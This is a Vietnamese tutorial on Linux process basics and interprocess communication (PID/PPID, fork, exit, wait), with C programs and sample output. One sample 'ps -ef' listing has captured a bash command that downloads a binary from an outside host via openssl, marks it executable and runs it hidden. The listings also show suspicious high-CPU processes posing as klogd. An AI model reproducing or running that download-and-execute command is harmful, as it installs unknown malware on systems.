Giao tiếp giữa các quy trình - Hướng dẫn nhanh
Giao tiếp giữa các quá trình (IPC) là một cơ chế liên quan đến việc giao tiếp của một quá trình với một quá trình khác. Điều này thường chỉ xảy ra trong một hệ thống.
Giao tiếp có thể có hai loại -
Giữa các quy trình liên quan chỉ bắt đầu từ một quy trình, chẳng hạn như quy trình mẹ và con.
Giữa các quy trình không liên quan, hoặc hai hoặc nhiều quy trình khác nhau.
Sau đây là một số thuật ngữ quan trọng mà chúng ta cần biết trước khi tiếp tục về chủ đề này.
Pipes- Giao tiếp giữa hai quá trình liên quan. Cơ chế là bán song công nghĩa là quy trình đầu tiên giao tiếp với quy trình thứ hai. Để đạt được song công hoàn toàn, tức là, để quy trình thứ hai giao tiếp với quy trình thứ nhất thì cần phải có một đường ống khác.
FIFO- Giao tiếp giữa hai tiến trình không liên quan. FIFO là một song công, có nghĩa là quy trình đầu tiên có thể giao tiếp với quy trình thứ hai và ngược lại cùng một lúc.
Message Queues- Giao tiếp giữa hai hoặc nhiều tiến trình với dung lượng song công. Các tiến trình sẽ giao tiếp với nhau bằng cách đăng một tin nhắn và lấy nó ra khỏi hàng đợi. Sau khi được truy xuất, tin nhắn không còn có sẵn trong hàng đợi.
Shared Memory- Giao tiếp giữa hai hoặc nhiều quá trình được thực hiện thông qua một phần bộ nhớ được chia sẻ giữa tất cả các quá trình. Bộ nhớ dùng chung cần được bảo vệ lẫn nhau bằng cách đồng bộ hóa quyền truy cập vào tất cả các quá trình.
Semaphores- Semaphores có nghĩa là để đồng bộ hóa quyền truy cập vào nhiều quy trình. Khi một tiến trình muốn truy cập vào bộ nhớ (để đọc hoặc ghi), nó cần được khóa (hoặc bảo vệ) và được giải phóng khi quyền truy cập bị xóa. Điều này cần được lặp lại bởi tất cả các quy trình để bảo mật dữ liệu.
Signals- Tín hiệu là một cơ chế giao tiếp giữa nhiều quá trình bằng cách báo hiệu. Điều này có nghĩa là một quá trình nguồn sẽ gửi một tín hiệu (được nhận dạng bằng số) và quá trình đích sẽ xử lý nó tương ứng.
Note - Hầu hết tất cả các chương trình trong hướng dẫn này đều dựa trên các lệnh gọi hệ thống trong Hệ điều hành Linux (được thực thi trong Ubuntu).
Trước khi đi vào quy trình thông tin, chúng ta cần biết một số điều, chẳng hạn như -
Quy trình là gì? Tiến trình là một chương trình đang được thực thi.
Chương trình là gì? Chương trình là một tệp chứa thông tin của một quá trình và cách xây dựng nó trong thời gian chạy. Khi bạn bắt đầu thực thi chương trình, chương trình sẽ được tải vào RAM và bắt đầu thực thi.
Mỗi quy trình được xác định bằng một số nguyên dương duy nhất được gọi là ID quy trình hoặc đơn giản là PID (Số nhận dạng quy trình). Kernel thường giới hạn ID tiến trình là 32767, có thể cấu hình được. Khi ID quy trình đạt đến giới hạn này, nó sẽ được đặt lại một lần nữa, sau phạm vi xử lý của hệ thống. Sau đó, các ID quy trình chưa sử dụng từ bộ đếm đó sẽ được gán cho các quy trình mới được tạo.
Lệnh gọi hệ thống getpid () trả về ID tiến trình của quá trình gọi.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Lệnh gọi này trả về ID tiến trình của tiến trình gọi được đảm bảo là duy nhất. Cuộc gọi này luôn thành công và do đó không có giá trị trả về để chỉ ra lỗi.
Mỗi quy trình có một ID duy nhất được gọi là ID quy trình, điều đó tốt nhưng ai đã tạo ra nó? Làm thế nào để lấy thông tin về người tạo ra nó? Quy trình tạo được gọi là quy trình mẹ. ID cha hoặc PPID có thể được lấy thông qua cuộc gọi getppid ().
Lệnh gọi hệ thống getppid () trả về PID gốc của quá trình gọi.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Cuộc gọi này trả về ID tiến trình mẹ của quá trình gọi. Cuộc gọi này luôn thành công và do đó không có giá trị trả về để chỉ ra lỗi.
Hãy để chúng tôi hiểu điều này với một ví dụ đơn giản.
Sau đây là một chương trình để biết PID và PPID của quá trình gọi.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
Về biên dịch và thực thi chương trình trên, sau đây sẽ là đầu ra.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize > size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- Hệ thống hàm thư viện “C” () thực hiện một lệnh shell. Các đối số được truyền cho system () là các lệnh được thực thi trên shell. Trong chương trình trên, lệnh là “ps”, cho biết trạng thái quá trình.
Thông tin đầy đủ về tất cả các quy trình đang chạy và thông tin liên quan đến hệ thống khác có thể truy cập được từ hệ thống tệp proc có sẵn tại vị trí / proc.
Bây giờ chúng ta đã biết cách lấy thông tin cơ bản của tiến trình và quy trình mẹ của nó, đã đến lúc xem xét chi tiết về thông tin quy trình / chương trình.
Hình ảnh quy trình chính xác là gì? Hình ảnh quá trình là một tệp thực thi được yêu cầu trong khi thực hiện chương trình. Hình ảnh này thường chứa các phần sau:
- Đoạn mã hoặc đoạn văn bản
- Phân đoạn dữ liệu
- Phân đoạn ngăn xếp
- Phân đoạn đống
Sau đây là biểu diễn bằng hình ảnh của quá trình.
Code segmentlà một phần của tệp đối tượng hoặc không gian địa chỉ ảo của chương trình bao gồm các hướng dẫn thực thi. Đây thường là phân đoạn dữ liệu chỉ đọc và có kích thước cố định.
Phân đoạn dữ liệu có hai loại.
- Initialized
- Un-initialized
Initialized data segment là một phần của tệp đối tượng hoặc không gian địa chỉ ảo của chương trình bao gồm các biến tĩnh và toàn cục được khởi tạo.
Un-initialized data segmentlà một phần của tệp đối tượng hoặc không gian địa chỉ ảo của chương trình bao gồm các biến tĩnh và toàn cục chưa được khởi tạo. Đoạn dữ liệu chưa khởi tạo còn được gọi là đoạn BSS (Block Started by Symbol).
Data segmentlà đọc-ghi, vì giá trị của các biến có thể được thay đổi trong thời gian chạy. Phân khúc này cũng có kích thước cố định.
Stack segmentlà một vùng bộ nhớ được phân bổ cho các biến tự động và các tham số hàm. Nó cũng lưu trữ một địa chỉ trả về trong khi thực hiện các lệnh gọi hàm. Stack sử dụng cơ chế LIFO (Last-In-First-Out) để lưu trữ các biến cục bộ hoặc tự động, các tham số hàm và lưu trữ địa chỉ tiếp theo hoặc địa chỉ trả về. Địa chỉ trả về đề cập đến địa chỉ trả về sau khi hoàn thành việc thực thi chức năng. Kích thước phân đoạn này có thể thay đổi theo các biến cục bộ, tham số hàm và lệnh gọi hàm. Phân khúc này phát triển từ địa chỉ cao hơn đến địa chỉ thấp hơn.
Heap segmentlà vùng bộ nhớ được phân bổ để lưu trữ bộ nhớ động chẳng hạn như cho các lệnh gọi malloc () và calloc (). Kích thước phân khúc này cũng có thể thay đổi theo phân bổ của người dùng. Phân khúc này phát triển từ địa chỉ thấp hơn đến địa chỉ cao hơn.
Bây giờ chúng ta hãy kiểm tra kích thước của các phân đoạn (phân đoạn dữ liệu và bss) khác nhau như thế nào với một vài chương trình mẫu. Kích thước phân đoạn được biết bằng cách thực hiện lệnh “size”.
Chương trình ban đầu
Tệp: segment_size1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
Trong chương trình sau, một biến tĩnh chưa được khởi tạo được thêm vào. Điều này có nghĩa là kích thước phân đoạn chưa khởi tạo (BSS) sẽ tăng thêm 4 Byte.Note- Trong hệ điều hành Linux, kích thước của int là 4 byte. Kích thước của kiểu dữ liệu số nguyên phụ thuộc vào trình biên dịch và hỗ trợ hệ điều hành.
Tệp: segment_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
Trong chương trình sau, một biến tĩnh đã khởi tạo được thêm vào. Điều này có nghĩa là kích thước phân đoạn được khởi tạo (DATA) sẽ tăng thêm 4 Byte.
Tệp: segment_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Trong chương trình sau, một biến toàn cục đã khởi tạo được thêm vào. Điều này có nghĩa là kích thước phân đoạn được khởi tạo (DATA) sẽ tăng thêm 4 Byte.
Tệp: segment_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Trong chương trình sau, một biến toàn cục chưa khởi tạo được thêm vào. Điều này có nghĩa là kích thước phân đoạn chưa khởi tạo (BSS) sẽ tăng thêm 4 Byte.
Tệp: segment_size5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Các bước thực hiện
Tổng hợp
babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
Thực thi / Đầu ra
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
text data bss dec hex filename
878 252 8 1138 472 segment_size1
878 252 12 1142 476 segment_size2
878 256 12 1146 47a segment_size3
878 260 12 1150 47e segment_size4
878 260 16 1154 482 segment_size5
babukrishnam
Cho đến bây giờ chúng ta biết rằng bất cứ khi nào chúng ta thực thi một chương trình thì một quá trình sẽ được tạo ra và sẽ được kết thúc sau khi hoàn thành việc thực thi. Điều gì sẽ xảy ra nếu chúng ta cần tạo một quy trình trong chương trình và có thể muốn lên lịch một nhiệm vụ khác cho nó. Điều này có thể đạt được không? Có, rõ ràng là thông qua quá trình tạo. Tất nhiên, sau khi hoàn thành công việc, nó sẽ tự động kết thúc hoặc bạn có thể chấm dứt nó nếu cần.
Quá trình tạo ra được thực hiện thông qua fork() system call. Quá trình mới được tạo ra được gọi là quá trình con và quá trình khởi tạo nó (hoặc quá trình khi bắt đầu thực thi) được gọi là quá trình mẹ. Sau lời gọi hệ thống fork (), bây giờ chúng ta có hai quy trình - quy trình mẹ và quy trình con. Làm thế nào để phân biệt chúng? Rất đơn giản, đó là thông qua các giá trị trả về của chúng.
Sau khi tạo tiến trình con, chúng ta hãy xem chi tiết cuộc gọi hệ thống fork ().
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
Tạo quy trình con. Sau cuộc gọi này, có hai tiến trình, tiến trình hiện có được gọi là quy trình mẹ và quy trình mới được tạo ra được gọi là quy trình con.
Lệnh gọi hệ thống fork () trả về một trong ba giá trị:
Giá trị âm để chỉ ra lỗi, tức là không thành công trong việc tạo quy trình con.
Trả về số 0 cho tiến trình con.
Trả về giá trị dương cho tiến trình mẹ. Giá trị này là ID tiến trình của tiến trình con mới được tạo.
Chúng ta hãy xem xét một chương trình đơn giản.
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
Các bước thực hiện
Tổng hợp
gcc basicfork.c -o basicfork
Thực thi / Đầu ra
Called fork() system call
Called fork() system call
Note- Thông thường sau khi gọi fork (), process con và process cha sẽ thực hiện các nhiệm vụ khác nhau. Nếu cùng một tác vụ cần được chạy, thì với mỗi lệnh fork (), nó sẽ chạy 2 lần n lần, trong đón là số lần fork () được gọi.
Trong trường hợp trên, fork () được gọi một lần, do đó đầu ra được in hai lần (2 lũy thừa 1). Nếu fork () được gọi, giả sử 3 lần, thì đầu ra sẽ được in 8 lần (2 lũy thừa 3). Nếu nó được gọi là 5 lần, thì nó sẽ in 32 lần, vân vân và vân vân.
Sau khi thấy fork () tạo quy trình con, đây là lúc để xem chi tiết của các quy trình cha và con.
Tên tệp: pids_ after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
Các bước biên dịch và thực hiện
Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630
Một quá trình có thể kết thúc theo một trong hai cách sau:
Bất thường, xảy ra khi phát một số tín hiệu nhất định, chẳng hạn như tín hiệu kết thúc.
Thông thường, sử dụng lệnh gọi hệ thống _exit () (hoặc lệnh gọi hệ thống _Exit ()) hoặc hàm thư viện exit ().
Sự khác biệt giữa _exit () và exit () chủ yếu là hoạt động dọn dẹp. Cácexit() thực hiện một số dọn dẹp trước khi trả lại điều khiển trở lại hạt nhân, trong khi _exit() (hoặc _Exit ()) sẽ trả lại điều khiển trở lại hạt nhân ngay lập tức.
Hãy xem xét chương trình ví dụ sau với exit ().
Tên tệp: atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
Các bước biên dịch và thực hiện
Hello, World!
Called cleanup function - exitfunc()
Hãy xem xét chương trình ví dụ sau với _exit ().
Tên tệp: at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
Các bước biên dịch và thực hiện
Hello, World!
Như chúng ta đã thấy, bất cứ khi nào chúng ta tạo một process con từ một chương trình bằng cách sử dụng fork, điều sau sẽ xảy ra:
- Quy trình hiện tại bây giờ trở thành quy trình mẹ
- Quy trình mới trở thành quy trình con
Điều gì xảy ra nếu tiến trình mẹ hoàn thành nhiệm vụ sớm hơn tiến trình con và sau đó thoát hoặc thoát? Bây giờ ai sẽ là cha mẹ của tiến trình con? Cha của process con là init process, là process đầu tiên khởi tạo tất cả các task.
Để giám sát trạng thái thực thi quy trình con, để kiểm tra xem quy trình con đang chạy hay dừng hoặc để kiểm tra trạng thái thực thi, v.v., hệ thống đợi () gọi và các biến thể của nó được sử dụng.
Chúng ta hãy xem xét một chương trình ví dụ, trong đó tiến trình cha không đợi tiến trình con, dẫn đến quá trình init trở thành quy trình mẹ mới cho tiến trình con.
Tên tệp: parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
Các bước biên dịch và thực hiện
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 163891 0 0 05:41 ? 00:00:00 main
8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main
8023807 164137 164136 0 05:41 ? 00:00:00 main
8023807 164138 164137 0 05:41 ? 00:00:00 main
8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 164138 0 0 05:41 ? 00:00:00 main
8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
Note - Quan sát rằng PID của quy trình mẹ là 94 và PID của quy trình con là 95. Sau khi quy trình mẹ thoát ra, PPID của quy trình con thay đổi từ 94 thành 1 (quy trình init).
Sau đây là các biến thể của lệnh gọi hệ thống để giám sát / các quy trình con -
- wait()
- waitpid()
- waitid()
Các wait() lệnh gọi hệ thống sẽ đợi một trong các phần tử con kết thúc và trả về trạng thái kết thúc của nó trong bộ đệm như được giải thích bên dưới.
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
Cuộc gọi này trả về ID tiến trình của con bị kết thúc khi thành công và -1 khi thất bại. Lệnh gọi hệ thống wait () đình chỉ việc thực thi tiến trình hiện tại và đợi vô thời hạn cho đến khi một trong các con của nó kết thúc. Trạng thái chấm dứt từ đứa trẻ có sẵn trong trạng thái.
Hãy để chúng tôi sửa đổi chương trình trước đó, để tiến trình cha bây giờ đợi tiến trình con.
/ * Tên tệp: parentprocess_waits.c * /
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
Các bước biên dịch và thực hiện
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
